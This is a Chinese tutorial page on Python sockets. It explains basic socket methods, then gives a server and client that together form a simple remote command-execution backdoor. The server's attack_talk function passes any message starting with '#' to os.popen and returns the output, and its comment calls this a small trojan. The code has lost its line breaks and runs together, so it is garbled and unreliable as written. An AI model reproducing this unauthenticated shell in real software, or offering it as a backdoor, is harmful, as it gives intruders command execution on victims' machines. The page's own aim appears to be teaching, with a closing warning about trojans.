200字范文,内容丰富有趣,生活中的好帮手!
200字范文 > python网络编程实现简单远程命令执行

python网络编程实现简单远程命令执行

时间:2023-01-26 05:28:33

相关推荐

python网络编程实现简单远程命令执行

前言

套接字(Sockets)是双向通信信道的端点。 套接字可以在一个进程内,在同一机器上的进程之间,或者在不同主机的进程之间进行通信,主机可以是任何一台有连接互联网的机器。

一、基本语法

创建套接字,必须使用套接字模块中的socket.socket()函数。

s.bind(),此方法将地址(主机名,端口号对)绑定到套接字。

s.listen()此方法设置并启动TCP侦听器.

s.accept()这被动地接受TCP客户端连接,等待直到连接到达(阻塞),如未设置,每次只能连接一个客户端

s.recv()此方法接收TCP消息。

s.send()该方法发送TCP消息

s.recvfrom()此方法接收UDP消息

s.sendto()此方法发送UDP消息

s.close()此方法关闭套接字

socket.gethostname()返回主机名

二、代码实现

1.服务端

import osimport socketdef normal_talk():s=socket.socket()#不带括号返回的是地址s.bind(('127.0.0.1',6667))#只允许本设备进行访问0.0.0.0所有设备均可访问s.listen()chanle,client=s.accept() #无法接收多个客户端while True:#chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接receive=chanle.recv(1024).decode()#decode解码,encode转码print(f'收到消息:{receive}')reply=receive.replace('吗?',"!")chanle.send(reply.encode())#s.close()#在死循环之后的代码不能执行# 一个python文件通常有两种使用方法,第一是作为脚本直接执行,第二是# import 到其他的# python# 脚本中被调用(模块重用)执行。因此# if __name__ == 'main': 的作用就是控制这两种情况执行代码的过程,在# if __name__ == 'main': 下的代码只有在第一种情况下(即文件作为脚本直接执行)才会被执行,而# import 到其他脚本中是不会被执行的。#核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务端执行命令并返回结果def attack_talk():s = socket.socket()# 不带括号返回的是地址try: s.bind(('127.0.0.1', 6667)) # 只允许本设备进行访问0.0.0.0所有设备均可访问s.listen()chanle, client = s.accept() # 无法接收多个客户端while True:# chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接receive = chanle.recv(10240).decode()# decode解码,encode转码if receive.startswith('#'):#判断字符串是否以#开头command=receive.split(',')[-1]reply=os.popen(command).read()#接收到的命令,小马chanle.send(f"命令{command}的运行结果:\n{reply}".encode())#发送数据,默认编码utf8elif receive==None:attack_talk()else:print(f'收到消息:{receive}')reply = receive.replace('吗?', "!")chanle.send(reply.encode())except:s.close()attack_talk()if __name__=='__main__':attack_talk()#当其他python文件调用这个函数时,这里面的不会被执

2.客户端

import sockets=socket.socket()s.connect(('127.0.0.1',6667))#建立连接while True:message=input('请输入消息:')s.send(message.encode())#客户端给服务端发送消息,默认以utf8方式编码re=s.recv(10240)#客户端接收服务端发送的消息print(f'服务器回复:{re.decode()}')

总结

对于网上下载的应用,应留以戒心,防止其中包含恶意木马,危害自身隐私安全

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。